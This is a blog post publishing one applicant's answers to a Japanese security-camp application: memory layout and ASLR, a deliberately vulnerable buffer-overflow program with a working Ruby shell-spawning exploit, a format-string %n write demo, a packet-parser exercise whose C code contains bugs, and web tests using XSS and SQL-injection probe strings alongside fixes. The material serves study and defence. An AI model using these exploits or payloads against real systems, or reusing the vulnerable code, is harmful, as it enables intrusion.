読者です 読者をやめる 読者になる 読者になる

ブログの名前なんて適当で良いのでは

説明を求めるな、記事を読め

セキュリティ・キャンプ2016応募用紙

 セキュリティ・キャンプ2016の選考を通過することができたので,応募用紙を公開したいと思います.来年度誰かの役に立つことを祈って.

 選んだ選択問題1,4,6,8について公開したいと思います.共通問題に関しては軽く触れておきます.

 

共通問題1

自分で作成したもの,どんな小さなものでも書きました.また,大学の実験などで作成したものも書きました.

 

共通問題2

Pwnが難しくて挫折して,本やWebページ,そして人に助けられたことなどを熱く語りました.

 

共通問題3

参加したい各講義について,動機付けや,参加してそれをどう活かしたいかなど書きました.

 

選択問題1
 まず始めに,このプログラムはソースコードC言語で書かれています.最初の2行は,必要なライブラリを読み込むためのものです.1つ目のstdioでは,標準的な入力,出力を扱うためのライブラリです.そのため標準入出力という意味のstandard input outputの頭をとってstdioとなっています.特に後述のprintf関数を利用するために読み込んでいます.2つ目のstdlibは,標準ライブラリという意味で,本プログラムで使用されているmalloc関数,free関数,それ以外にも乱数列の初期化をするsrand関数や,乱数を発生させるrand関数,文字列をint型数値に変換するatoi関数など便利な関数が入っているライブラリです. C言語では一番初めにmainという関数を実行します.このmain関数にはコマンドライン引数と呼ばれる実行時に渡す引数の個数や引数の文字列のポインタを引数として設定しています.ここまでは概ねC言語の標準的な教科書に則っているものですが,正確には3つ目の引数の「環境変数へのポインタ」もあったりします.main関数の中には局所変数(ローカル変数)と呼ばれる2つの変数が宣言されています.まずint型の要素数10のhogeという配列があります.次にfugaというintへのポインタ変数を宣言しています.そしてそのfugaに対して,malloc関数の返り値を代入しています.malloc関数は,ヒープメモリ領域から,引数バイト分の領域を確保する関数です.その後は,hogeとfugaのアドレスをprintf文を使って標準出力しています.このprintf分は書式文字列という文字を利用することができます.ここ%pという箇所には,第2引数の値が埋め込まれます.%pは,書式指定子の一つで,アドレスを16進数で表示するものでgccコンパイルすると0xという文字を頭につけて16進数であることを強調してくれるようになっています.書式指定子は他にも1文字を出力する%cや,文字列を出力する%sや10進数として出力する%d,そして詳しくは[1]後述する%nというそこまでに出力したバイト数を%nに対応した引数に書き込むというものもあります.この書式指定子はprintf以外にもsprintfやsscanfといった関数などにも利用することができます.最後はfree関数を使って確保したメモリを解法し,return 0で0を返し終わります.
 ここまでかなり基礎レベルからこのソースコードを見てきました.そこで今度はさらに低いレベルからソースコードを見てみます.問題文にある実行結果のアドレスを見てみると気づくことがあります.それはこのプログラムがコンパイルされた環境です.コンピュータのアーキテクチャには,少し前に一般的であった32bitや現在主流の64bitなどがあります.そこでhogeのアドレスの結果の0x7fff539799f0 を見てみます.1byteは8bitで,0x00 ~ 0xffの256種類の数を表すことができます.このhogeのアドレスは6byte分つまり48bitを表しており,32bitアーキテクチャでは表すことができない範囲,つまり64bit版のアーキテクチャであることがわかります.そこで本プログラムを手打ちで書き起こし,実際にgccを使ってコンパイルして,実行してみました.その際の実行結果が以下です.環境はgcc4.8.4のUbuntu14.04 64bit版です.

hoge address = 0x7ffd34367e80
fuga address = 0x66e010

hogeのアドレスの幅は同じぐらいですが,mallocで確保したfugaアドレスの幅が,問題文とかなり異なっていることに気づきます.ここで実行ファイルのメモリマップについて考えてみます.プログラムは実行される前に,メモリに展開されます,その際に用途により区画が区切られています.Linuxにおいては,概ねそのメモリマップは以下のようになっています.


+————————+ lower address
 |            text            |
+————————+
 |            data           |
+————————+
 |            bss            |
+————————+
 |            heap          |
+————————+
 |   shared object     |
+————————+
 |            stack         |
+————————+ higher address

最初のtextセクションには,アセンブリコードが格納されています.dataセクションには,初期値があるデータが格納されています.bssセクションには,初期値がないデータ,heapセクションには今回もでてきたmallocなどで確保される領域です.次のセクションが,共有オブジェクトつまりライブラリなどが置かれるところです.そして最後のstackは引数の受け渡しや様々用途で利用される領域です.ちなみにこれより下にはカーネルなどが利用するエリアがあります.こういった配置情報を手がかりに考えてみると,hogeという配列は,Linuxではスタック上に10byte分領域を確保されているので,メモリ領域的に見ればfugaのアドレスはstack領域よりも低いアドレスにあります.今回実行した結果は大きく離れていました.しかし問題文の2つのアドレスはあまり離れていないことがわかります.
 ここから以下のような推測をしてみました.

 1.そもそも実行結果のアドレスが改ざんされている
 2.ソースコードが改ざんされている
 3.実行環境がLinuxではなくメモリマップといった概念がまったく異なるOSだった

書いておいて変な話ですがまず推測1と2は検証しようがないので,推測3を検証してみました.

最初は,Ubuntu14.04で行ったので,あまり使ったことはないのですが他のアーキテクチャなどで実行してみました.まずはLinuxの他のディストリビューション系統などから検証してみました.最初がDebian系であるUbuntuで行ったので,次はRed Hat系のCentOSで行ってみました.

CentOSの実行結果
hoge address = 0x7ffc28826a00
fuga address = 0xd0b010

という結果になり,あまりUbuntuのと変化がない感じでした.次にARM環境で実行してみました.そのためにQEMUを使ってユーザモードエミュレーションで実行させてみました.

 ARM環境の実行結果
hoge address = 0xf6fffa58
fuga address = 0x12008
こちらはhogeのアドレスすらも大幅に違っており,仕様がかなり異なっているという感じでした.結論として,この実行結果は間違っていると考えました.もし正確なアドレスならばもっと低位のアドレスにあると考えられます.
 またセキュリティ的な視点でこのアドレスについて考えてみました.先ほど作成した実行ファイルを3回実行してみたときの結果が以下です.(以降環境は64bit Ubuntu14.04での話です)

hoge address = 0x7ffe2dc025c0
fuga address = 0x1b8a010

hoge address = 0x7fff1f52c7e0
fuga address = 0x1629010

hoge address = 0x7ffffc2335c0
fuga address = 0xb2d010

 この結果よりアドレスが毎回異なっていることがわかります.このhogeとfugaのアドレスはそれぞれスタック領域とヒープ領域のアドレスで,LinuxにはASLR(Address Space Layout Randomization)というセキュリティ機構によるものです.ASLRでは,スタック領域,ヒープ領域,共有ライブラリ領域のアドレスがランダムになります.またUbuntuでは,sysctl -w kernel.randomize_va_space=0というコマンドを利用することで機能をOFFにすることができます.ASLRをOFFにしたこの状態で先ほどのように実行ファイルを3回実行してみるとアドレスは変わりません.しかしアドレスをランダムにすることがなぜセキュリティ的に良いことなのでしょうか.それについて考察してみました.
 ASLRがない環境において,実行ファイルの脆弱性を突いた攻撃は複数あるので,例として1つソースコードとその攻撃コードを共に考えていきたいと思います.
まず始めにBOF(Buffer OverFlow)の脆弱性を持ったソースコードを示します.

// bof.c
#include <stdio.h>
int main(int argc, char** argv){
  char buf[100];
  printf("buf address = %p", buf);
  fflush(stdout);
  gets(buf);
  return 0;
}

このプログラムにはgets関数という脆弱性の塊である関数を利用しています.このソースコードを以下のようにコンパイルしました.

gcc -o bof bof.c -fno-stack-protector -z execstack

-fno-stack-protectorというオプションは,gccの持つSSP(Stack Smashing Protection)というセキュリティ機構をOFFにするためのものです.SSPとはスタック上に積まれたローカル変数の後にCanaryと呼ばれるランダム値を格納し,関数から戻る処理の手前に元のCanary値とその時のCanary値を比較し,異なっていたらプログラムを強制終了させるというものです.これによりローカル変数に後続するリターンアドレスの上書きを検知し,悪意のあるプログラム(シェルコード等を)の実行を防ぐことができます.以下にCanaryがある場合とない場合の逆アセンブルコードによる違いを示します.

Canaryがある逆アセンブル結果
  40066d:    push   rbp
  40066e:    mov    rbp,rsp
  400671:    add    rsp,0xffffffffffffff80
  400675:    mov    DWORD PTR [rbp-0x74],edi
  400678:    mov    QWORD PTR [rbp-0x80],rsi
  40067c:    mov    rax,QWORD PTR fs:0x28
  400685:    mov    QWORD PTR [rbp-0x8],rax  #Canary
  400689:    xor    eax,eax

Canaryがない逆アセンブル結果
  4005fd:    push   rbp
  4005fe:    mov    rbp,rsp
  400601:    add    rsp,0xffffffffffffff80
  400605:    mov    DWORD PTR [rbp-0x74],edi
  400608:    mov    QWORD PTR [rbp-0x80],rsi

Canaryがある方は,rbp-0x8という他のrbp-hogeよりも高位の位置にfs:0x28に格納された値をrax経由で代入しています.このCanaryはプログラムの起動時に変化します.したがって,プログラム自信でlistenやacceptといったネットワークの処理をしている場合のバイナリは,起動している間Canaryの値は変わりません.そこで,BFA(Brute Force Attack)的にCanary値を明らかにしたり,末尾1byteが必ず0x0というところに着目し,そこを上書きしてprintfといった0x0で終端するまで出力する関数に任せればCanary値を明らかにすることもできます.後者の手法は,INT(Improper Null Termination)と呼ばれます.
 -z execstackというオプションは,DEP(Data Execution Prevention)と呼ばれるセキュリティ機構をOFFにするためのものです.DEPにより通常はスタック領域などには実行ビットが立っていません.pgrepコマンドなどでこのプログラムのプロセスIDを調べ,/proc/PID/mapsを見ると[stack]という部分にxの実行ビットが立っていないことがわかります.今回は,スタック上に積んだプログラムを実行したいためこのオプションをつけました.
 今回例に出したオプションがバイナリに対して付いているかついていないかは,checksec[3]というプログラムを利用することですぐ確認することができます.
 そして,このプログラムをsocat[1]というプログラムを用いてサーバ上に乗っているものとして動かし,そこに対して以下のコードを実行するとシェルを奪うことができます.Rubyで作成しました.ソケット用のライブラリpwnlib[2]を利用しています.

#coding: ascii-8bit
require ‘pwnlib’

PwnTube.open("localhost", 2525) do |tube|

  retaddr = tube.recv_capture(/= 0x(.+)\n/)[0].to_i(16)
  buf = PwnLib.shellcode_x86_64
  buf << "A" * (120 - buf.length)
  buf << [retaddr].pack("Q")
  buf << "\n"

  tube.send(buf)
  tube.shell

end

まずprintf関数で出力されるbufのアドレスを正規表現でキャプチャしてきます.次に,シェルコードとpadding合わせて120byteになるように設定します.この120という値はgdbというデバッガを利用して,リターンアドレスを上書きするバイト数を求め,そこからリターンアドレス分の8byteを引いた値です.そして最後にリターンアドレスに位置するところに,最初にキャプチャしたアドレスをつけて,これを送れば自動的にシェルコードがbuf内に置かれ,実行されます.
 これはあくまで基本的な攻撃で,BOFを利用したIP(Instruction Pointer)の書き換えによるシェルコードの実行です.攻撃の流れとしては,ローカル変数bufにシェルコードというシェルを起動するプログラムを仕込み,main関数が終わって戻る番地にローカル変数bufを指定することでシェルコードを起動させるという流れになります.しかしこれはbufのアドレスが前提条件としてわかっているため成功する攻撃です.ここで,先ほどのprintf("buf address = %p", buf);fflush(stdout);をfgets関数よりも後に移した場合を考えてみます.そうした場合bufのアドレスを把握するためには一回実行ファイルを実行し,bufのアドレスを控えておく必要があります.しかし,ここでASLRを有効にしている場合は,控えたとしても毎回bufのアドレスが変わってしまうので,前述したような攻撃ではシェルを奪うことはむずかしくなってしまいます.BFA的に,スタックのアドレスを当てようとした場合でも,ASLR有効下ではスタック領域は,20bitのランダム化が行われるので難しいと考えられます.しかしASLRはtextやbss, dataといったセクションのアドレスはランダムにしません.そのため,様々な攻撃手法につなげることができます.
 Return to pltはその代表例です.ELFがライブラリから関数を呼び出す際に,PLT(Procedure Linkage Table),GOT(Global Offset Table)と呼ばれる機構が仕様されます.これは,一度読んだ関数のアドレスをGOT領域に保存しておき,PLTからそのGOTへジャンプすることで関数を呼び出すという処理になっています.そして,このPLTやGOT領域はASLRの範囲外です.つまりバイナリに含まれている関数ならば,自由に呼び出すことができるというこです.そして一度GOTに保存された関数などのアドレスをメモリリークすることができれば,その関数のオフセットを引き,ライブラリのベースアドレスなどがわかってしまったりします.ライブラリのベースアドレスがわかると必要なオフセットを足せば任意の関数を呼び出すことが可能になります.こういうライブラリの中の関数を自由に呼び出す攻撃手法をReturn to libcと呼びます.この手順を利用して,system(“/bin/sh”)を実行することができれば,シェルを奪うことができます.
 以下にソースコードとReturn to libcをする攻撃コードを示します.libc自体は特定している前提としています.
 
Return to pltやReturn to libcといったものも含め,Returnを連鎖的につなげていきながら攻撃コードを実行していく攻撃手法をROP(Return Oriented Programming)と呼びます.こういった攻撃はASLRに加えNx-bitを立てたり,SSPがあっても防ぐことができません.そこで,PIE(Position Independent Executables)という実行ファイルそのものを置かれるアドレス自体をランダムにしてしまうというものがあります.これを使ってコンパイル,リンクした場合は攻撃がかなり難しくなってきます.先ほどのようなROPはtextセクションのアドレスが固定であったから,使えていた技でした.しかしそこがランダム化されてしまうと利用することができません.しかし,やはりこれも打開策もあります.もし,メモリリークといった脆弱性を含む関数vulnがあった場合,複数回そのvuln関数を呼び出すことで何回も脆弱性を利用して必要なアドレスを求めることができ,後続する攻撃につなげることができます.
 様々な脆弱性がある中で,最近あまり見られませんが,かなり被害が大きい脆弱性としてFSB(Format String Bug)があります.これはprintf関数などに,書式文字列を使わずに出力してしまった際などに起こります.以下にFSBがあるソースコードを示しておきます.これを-m32オプションをつけて32bit向けのバイナリとしてコンパイルした前提で話を進めていきます.説明しやすいように32bit向けにしているだけで64bitでも同じ要領です.
//fsb.c
#include <stdio.h>
int main(){
  int key = 0xdeadbeef;
  char buf[1024];

  printf("key addres = %x\n", &key);
  fflush(stdout);

  fgets(buf, sizeof(buf), stdin);
  printf(buf); // FSB

  fflush(stdout);

  if(key == 0x12345678) {
    printf("Hacked");
    fflush(stdout);
  }
  return 0;
}
このコードではkeyという変数が0xdeadbeefとして初期値を設定されています.FSBを利用してkeyの値を0x12345678に書き換えてしまい,if文の中身を実行させてみたいと思います.FSBのバグがあるprintf関数が%pや%xを出力しようとすると,スタックに積まれた値を順番に表示してしまいます.このプログラムで”%p.%p.%p.%p.%p.%p.%p.%p\n”を入力した際のprintf(buf)が実行されるときのスタックの値を以下に示します.
0000| 0xffffd6f0 --> 0xffffd70c ("%p.%p.%p.%p.%p.%p.%p.%p\n")
0004| 0xffffd6f4 --> 0x400
0008| 0xffffd6f8 --> 0xf7fc5c20 --> 0xfbad2288
0012| 0xffffd6fc --> 0x1a81d4
0016| 0xffffd700 --> 0x1a81d4
0020| 0xffffd704 --> 0x8
0024| 0xffffd708 --> 0xdeadbeef
0028| 0xffffd70c (“%p.%p.%p.%p.%p.%p.%p.%p\n")
そして,このprintf(buf);文を実行すると以下の値が出力されます.
0x400.0xf7fc5c20.0x1a81d4.0x1a81d4.0x8.0xdeadbeef.0x252e7025.0x70252e70
この0x400はスタックのesp+0x4に相当する値になっています.先ほど言ったようにスタックの値が順番に表示されてしまうことがわかります.これは重大なメモリリークです.この結果より,0x252e7025が”%p.%”を示しているので,入力した値はスタックの上から7番目に保存されていうることがわかります.この情報を元にkey変数の中身を書き換えていきます.実は書式指定子の一つに%n, %hn, %hhnといったprintf関数が出力したバイト数をメモリに書き込むものがあります.これを利用してkey変数に0x12345678を書き込みます.key変数のアドレスが0xffffd6f8として考えます.fgetsの入力値は7番目に来るので,以下のような構文を完成させるとkey変数に値を書き込むことができます.
 printf(\xf8\xd6\xff\xff%305419892x%7$n);
 %305419892xというのは0x12345678 - 4のことです.書式指定子で0x12345678個の空白を出力します.そうすると%7$nにより出力した空白の個数分対応するメモリに書き込みます.つまり0x12345678をスタックの7番目に格納することができます.しかしこのためには,%7$nが指す先が0xffffd6f8になっていなければならないので,文字列としては,\xf8\xd6\xff\xff%305419896x%7$nという文字列を組み立てます.しかし0x12345678個の空白を出力するということはあまり現実的ではないので,実際には,0xffffd6f8に%7$hn,0xffffd6faに%8$hnとして2byteずつ書き込む方法を取ります.しかし%n系統の書式指定子を複数使うためには,そこまで出力されたバイト数を考慮してその差分でうまく次の書き込みに必要なバイト数を決めなければいけません.これは手作業では面倒なので,プログラムにまかせてしまいます.また,アドレスはASLRが有効であった場合毎回変わるので,今回はわざと出力させ,そのアドレスをキャプチャしてからプログラムに書式文字列攻撃をさせる文字列を生成させて送り込みました.
 このようにアドレスという情報から手がかりを得て,つなげていくことができる攻撃手法は他にも,ヒープの脆弱性を利用した攻撃などもあります.かなり,当初の話の内容とずれてしまったかもしれませんが,メモリアドレスについて詳しく知ることは,とても大切なことだと思います.

[1] http://www.dest-unreach.org/socat/
[2] https://github.com/Charo-IT/pwnlib
[3] https://github.com/slimm609/checksec.sh

選択問題4

まず,完成したプログラムを以下に示します.言語はCで書きました.

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <strings.h>

#define MGCSIZE 2
#define SRCSIZE 20
#define DSTSIZE 20

typedef struct{
  char magic[2];
  char source[20];
  char destination[20];
  uint32_t datalength;
  char *data;
}RH;

int extract_datalength(FILE* fp) {
  int len = 0;
  char buf[4] = {};
  fread(buf, sizeof(char), sizeof(buf), fp);
  sprintf(buf, "0x%x%x%x%x", buf[0], buf[1], buf[2], buf[3]);
  sscanf(buf, "%x", &len);
  return len;
}

void packet_compile(RH* p, FILE* fp) {

  char *h;

  fread(p->magic, sizeof(char), MGCSIZE, fp);
  fread(p->source, sizeof(char), SRCSIZE, fp);
  fread(p->destination, sizeof(char), DSTSIZE, fp);

  p->datalength = extract_datalength(fp);

  h = (char*)malloc(p->datalength);
  fread(h, sizeof(char), p->datalength, fp);
  strncpy(p->data, h, p->datalength);
  p->data[p->datalength] = '\0';

  free(h);

}

void packet_dump(RH* p) {

  printf("mgc = %.2s\n", p->magic);
  printf("src = %.20s\n", p->source);
  printf("dst = %.20s\n", p->destination);
  printf("dlen = %d\n", p->datalength);
  printf("data = %s\n", p->data);

}

int condition1(RH* p) {
  return strncmp(p->magic, "RH", 2);
}

int condition2(RH* p) {

  if(!strcasecmp(p->source, "rise-san"))
    return 0;

  if(!strcasecmp(p->source, "cocoa-san"))
    return 0;

  return 1;
}
int condition3(RH* p) {

  if(!strcasecmp(p->destination, "Chino-chan"))
    return 0;

  if(!strcasecmp(p->destination, "Chino"))
    return 0;

  return 1;
}

int condition4(RH* p) {
  return (!strcasecmp(p->source, "cocoa-san") &&
          !strcasecmp(p->destination, "Chino"));
}

int condition5(RH* p) {

  char* valid_order_brand = {
    "BlueMountain",
    "Columbia",
    "Original",
  };
  int size = sizeof(valid_order_brand) / sizeof(valid_order_brand[0]);

  for(int i = 0; i < size; i++)
    if(strstr(p->data, valid_order_brand[i]) != NULL)
      return 0;
  return 1;

}

 int condition6(RH* p) {
                                                                                                                              
  char* invalid_order_brand
= {
    "DandySoda",
    "FrozenEvergreen"
  };

  int size = sizeof(invalid_order_brand) / sizeof(invalid_order_brand[0]);

  for(int i = 0; i < size; i++)
    if(strstr(p->data, invalid_order_brand[i]) != NULL)
      return 1;
  return 0;
}

int main(int argc, char** argv) {

  FILE* fp;
  RH packet;

  if(argc != 2) {
    printf("Usage: ./choice4 <filename>\n");
    exit(1);
  }

  //fp = fopen("pyonpyon_edited.rh", "rb");
  fp = fopen(argv[1], "rb");

  if(fp == NULL) {
    fprintf(stderr, "Cannot open %s\n", argv[1]);
    exit(1);
  }


  while(fgetc(fp) != EOF) {

    // whileの条件時に1byte位置を進めてしまっているので戻す
    fseek(fp, -1, SEEK_CUR);

    packet_compile(&packet, fp);
    // packet_dump(&packet);

    if(condition1(&packet)) {
      printf("REJECTED\n\n");
      continue;
    }

    if(condition2(&packet)) {
      printf("REJECTED\n\n");
      continue;
    }

    if(condition3(&packet)) {
      printf("REJECTED\n\n");
      continue;
    }

    if(condition5(&packet)) {
      printf("REJECTED\n\n");
      continue;
    }

    if(condition4(&packet)) {
      printf("REJECTED\n\n");
      continue;
    }

    if(condition6(&packet)) {
      printf("REJECTED\n\n");
      continue;
    }

    printf("PASS\n\n");

    //break;

  }
  return 0;

}

プログラムの解説を致します.本問題で扱われたRH(Rabbit House?)プロトコルでのパケットのフォーマットに沿った構造体RHを定義しました.パケットが保存されているpyonpyon.rhから1byteずつ値を抜き取り,マッチング判定を行おうと思ったのですが,パケットの長さが最初は分からない等の問題がありましたので,まずRH構造体のpacket変数に1つのパケットのすべての情報を格納してしまおうと考えました.そこでまずは先頭のMagicを2文字取り出し,packetのmagicメンバに格納する.同様にして,SourceとDestinationを各メンバに保存します.次に,DataLengthを取り出すために,4byte分を保存し,それを適切なバイトオーダーにして数値化し保存します.このDataLengthを抜き取る関数ではバイトオーダーがBig Endianであることに注意して関数を作成しました.そしてそのDataLengthを利用してmalloc関数で適切なバイト分だけメモリ領域を確保し,Dataをそこへ保存,そして,保存された文字列をstrncpyを使ってpacketのDataメンバに保存し,最後に確保した領域を解放いました.これらのパケットに値をセットする処理をまとめてpacket_compile関数に記述しました.
 そして,構造体に保存された各値に対して,条件を満たしているかのマッチング処理を行いました.各条件について,関数を作りました.もし条件にマッチしないパケットであった場合はその時点でその後の処理を飛ばし,次のパケットを構造体に格納するようになっています.もし全部の条件にマッチしなければ”PASS”という文字列を出力するようになっています.(※本問題でcond.4よりもcond.5が優先されるとあったのですが,条件の組み合わせ的にcond.5よりもcond.6が優先されるという表記の誤植かと思ったのですが,本文通りの使用にしました.)
配布バイナリ,pyonpyon.rhに関して本プログラムを実行した結果を以下に示します.デバッグする際には,REJECTED by 1のような情報を出力し,パケットの中身を出力するpacket_dump関数を利用していました.

PASS
PASS
REJECTED
PASS
REJECTED
PASS
PASS
REJECTED
PASS
REJECTED
PASS
REJECTED
PASS
REJECTED
REJECTED
PASS
REJECTED
PASS
REJECTED
REJECTED
REJECTED
PASS
REJECTED
PASS
REJECTED
REJECTED
REJECTED
REJECTED
PASS
REJECTED
PASS
REJECTED
REJECTED
REJECTED
REJECTED
REJECTED
PASS
REJECTED
PASS
REJECTED
REJECTED
REJECTED
REJECTED
REJECTED
REJECTED

 その他,様々なケースのパケットを作成した際には,以下のRubyで書いたスクリプトを使用しました.
require 'readline'
puts "RH packet generator"


fname = Readline.readline("File name: ")
src = Readline.readline("Source: ")
dst = Readline.readline("Destination: ")
data_length = Readline.readline("DataLength: ").to_i
data = Readline.readline("Data: ")

File.open(fname, "wb") do |fout|
  fout.write(“RH")
  fout.write(src+"\x00"*(20 - src.length))
  fout.write(dst+"\x00"*(20 - dst.length))
  fout.write([data_length].pack("N"))
  fout.write(data)
end

 私は,このようなパケットのフォーマットを読み,実装することは初めてだったので楽しかったです.CPUサイクルやメモリ使用量の計測方法がよくわからないかったので,これを正確に計測することができれば,小型のデバイスなどで利用できるプロトコルであるかどうかについて考えることができそうなので,正確に計測する方法が知りたいです.これからの時代IoTにもセキュリティ技術は不可欠だと思うので,もっと低レイヤーについて理解を深めたいです.

 

選択問題6

 IDとパスワードを入力してユーザ認証を行うWebアプリケーションにおいては,特にインジェクション系の脆弱性がないかをセキュリティテストする必要があります.インジェクション系の脆弱性としてはXSS(Cross Site Scriptiong)や,OS command injection,SQL injectionなどがあります.これらの脆弱性は共通して,IDやパスワードといったような入力フォームに起因して生まれる脆弱性です.したがって,今回私は,Webアプリケーションの入力フォームに対してセキュリティテストを行います.またその中で,確認しておいたほうが良い環境設定などについても述べようと思います.
 セキュリティテストを行うにあたって環境があった方がやりやすいので,まずIDとパスワードを入力してユーザ認証を行う以下のようなPHPによるWebアプリケーションの入力画面を作成しました.入力したidとpasswordという値をPHP側では連想配列$_POSTとして受け取り出力します.この段階ではまだユーザ管理のデータベースなどは視野に入れていません.セキュリティテストする際にはFirefox Developer Editionでアクセスし,拡張機能Firebugなども同時に利用しました.
<!DOCTYPE html>
<html>
  <head>
    <title> 選択問題6 </title>
  </head>
  <body>
    <h1>Sample1</h1>
    <form action="/confirm.php" method="post">
      <label>id</label><br/>
      <input type="text" name="id" required><br/>
      <label>password</label><br/>
      <input type="text" name="password" required></br>
      <input type="submit" value="login">
    </form>
  </body>
</html>

<?php
        session_start();
        echo $_POST['id'] . "<br/>";
        echo $_POST['password'] . "<br/>";
?>


私はXSSの脆弱性を検査するためには,まず以下の文字列を入力フォームに対して入れてみます.

<script>alert(‘XSS’)</script>

もしまったく何もXSSの対策をしていなかった場合は,この文字列を入力することでXSSという文字列を表示することができてしまうからです.案の定,今回の環境でid項目に対してこの文字列を入力し,パスワードは適当な値を入力するとXSSというアラートが表示されてしまいました.上記の文字列をid項目に入力すると<script>alert(‘XSS’)</script><br/>という文字列がレスポンスされることになります.そうすると,WebブラウザはこれをJavascriptのalert(‘XSS’)という構文に捉え実行してしまいます.では,どうやってこれを防げばよいでしょうか.それにはHTMLにおいて特別な意味を持つ「<」や「>」という記号を文字参照を利用して変換することです.通常HTMLファイルにおいて「<」や「>」を使おうとするとタグの扱いになってしまいます.そこでこのような特別な意味を持つ記号をエスケープ処理を行います.今回は,PHPのhtmlspecialcharsという関数を利用してエスケープ処理を行います.以下に変更したconfirm.phpを示します.

<?php
        session_start();
        echo htmlspecialchars($_POST['id'], ENT_QUOTES, "UTF-8") . "<br/>";
        echo htmlspecialchars($_POST['password'], ENT_QUOTES, "UTF-8") . "<br/>";
?>

そしてid項目に先ほどと同じ文字列を入力してみて,loginボタンを押してみたところ以下のような結果になりました.

<script>alert('XSS')</script>
hoge
表示ページのソースコードを見てみると,scriptタグの部分は以下のようになっていました.
&lt;script&gt;alert(‘XSS’)&lt;/script&gt;
適切にエスケープ処理がされていることがわかります.今回のはPOSTしたパラメータを要素内容として出力するような画面構成でした.したがって,Webページに出力する内容についてはすべて一貫してエスケープ処理を行うというようなコーディングを心掛けると良いと思います.
 また,このWebアプリケーションの機能の一つとして,外部から受け取ったURLを元にリンクを作成する以下のような処理があったとします.
<a href="<?php echo htmlspecialchars($_POST['url'], ENT_QUOTES, "UTF-8"); ?>”>link</a>
こういうケースでは先ほどとは少し異なる脆弱性を生む危険性があります.この処理を見て,htmlspecialchars関数を利用してエスケープしているから安全とはおもってはいけません.もしこのような入力値に対してリンクが生成されるような部分があった場合は,まず私は以下の文字列を入力してテストします.
javascript:alert(‘XSS’)
この文字が入力された場合は,以下の文が組み立てられて出力されることになります.
<a href="javascript:alert(&#039;XSS&#039;)">link</a>
href属性はjavascriptスキームによるJavascript呼び出しを行うことができます.つまりこのlinkリンクをクリックするとalert(‘XSS’)というJavascriptが実行されてしまいます.つまりリンクを生成する部分では「<」といった特別な意味を持つ文字のエスケープだけでは足りないことがわかります.対策として,URLを動的に生成する部分では,値がhttp:またはhttps:で始まる絶対URLや「/」から始まる相対パスであるかをチェックするようなプログラムを挟むことが必要だと思います.
 XSS脆弱性を対象としてセキュリティテストでは,これらのように特別な意味を持つ記号などを使いJavascriptを実行できないかとテストする必要があります.しかし,この手の脆弱性は開発者が見逃してしまう場合があります.その時のためにできる保険的対策があります.それは1つ目は,Javascriptからクッキーの読み出しを禁止するHttpOnly属性を有効にすることです.これをしておくことで被害を小さくすることができるかもしれません.予防策としてできるようなことはやっておくべきだと思うので,私がセキュリティテストをやる際にはここも確認します.
 次に,SQL injectionについて考えたいと思います.この脆弱性を利用することで,ユーザからの入力などにより意図しない悪意のあるSQL文を構築し,問い合わせる事ができてしまいます.前述したXSSと同等の被害を出しかねない脆弱性です.例えば先ほどと同じ用なidとパスワードの入力フォームがあったときログイン作業の場合は,以下のようなSQL文が組み立てられて問い合わせうするこになります.ここでinputというプレフィックスが付いている方がユーザが入力した値です.

SELECT FROM * users WHERE id = ‘input_id’ AND password = ‘input_password’

私がログインをする際の入力フォームもと裏でSQLが使われているような部分の入力値に対してはSQL injectionの脆弱性を確認するために,まずid項目に対して,以下の文字列を入力してテストを行います.

‘ OR 1=1 - -

input_idにこの文字列が格納されると以下のようなSQL文が組み立てられることになります.

SELECT FROM * users WHERE id = ‘’ OR 1= 1 - - AND password = ‘input_password’

 ここで--というのは以降をコメント文として扱うものとしています.そうするとこのSQL文はidが空白文字と等しいという条件と1が1と等しいという条件の論理和になります.この論理和は自明で真になるのですべてのusersテーブルのレコードを抜き取ることができます.この検索結果を表示するような仕組みになっていた場合,すべてのレコードを表示してしまいます.
 この攻撃は,先ほどのXSSと同じで,特定の意味を持つような文字への処理が適切でないために起こっています.SQLの標準的な規格では文字列リテラルはシングルクォートで囲む仕様になっています.これを利用して,文字列に終端となる「’」を入れることで途中で文字列リテラルを区切り独自の命令を続けることができてしまっています.
 対策としては,プレースホルダを利用することがあげられます.プレースホルダとは,予めSQL文に値を埋める予定の箇所を明示しておき,SQL文を構築した後に,そこ値を埋める(バインド)という技術です.プレースホルダには静的プレースホルダと動的プレースホルダがあり,静的プレースホルダの方が,先にプレースホルダがあるSQL文をコンパイル等実行するための処理を済ませておき,データベースエンジンに必要な値を渡して,あとはそちら側がバインドし,実行するという流れで,動的プレースホルダは,Webアプリケーション内でバインドまで行い,それをデータベースエンジンに渡して実行してもらう形になります.特に静的プレースホルダにおいては,必要なSQL文自体はプレースホルダの状態でコンパイルされるため,後からSQL文に変更が加わることを防ぐことができます.そのため実質静的プレースホルダを利用することが望ましいと考えられます.
 また,SQLに関して言えば,画面にエラーメッセージを吐く場合があります.このエラーメッセージが詳細にでるようになってしまっていると,この情報を頼りにデータベースエンジンを特定され,攻撃への手がかりになってしまいます.そこで,標準で吐くエラーメッセージを切るような設定をしておいた方が良いと考えられます.これに加え,データベースの権限設定を必要最小限の権限を与えることで被害を最小に留めることもできます.したがって,データベースの権限設定についても適切かどうか確かめる必要があると思います.
 SQLに関しては以前利用したことがあるのですが,sqlmapというツールを利用することも良いと思います.ペネトレーションテストをするためのツールは多くありますが,その結果を汲み取るためには,内部の仕組みや攻撃方法についてしっかり理解している必要があるので,そういった勉強も欠かせないとも思います.
 これまで見てきたように,IDとパスワードがあるようなWebアプリケーションの場合は,XSSやSQLiといった重大な脆弱性を生みかねません.そこで特別な意味を持つ記号をエスケープしたり,既存のセキュリティ技術,ここで言えばプレースホルダなどを利用することでそれを防ぐことができます.そのためには,対策技術が講じられているかセキュリティテストを事前にすることはとても大切なことだと思いました.
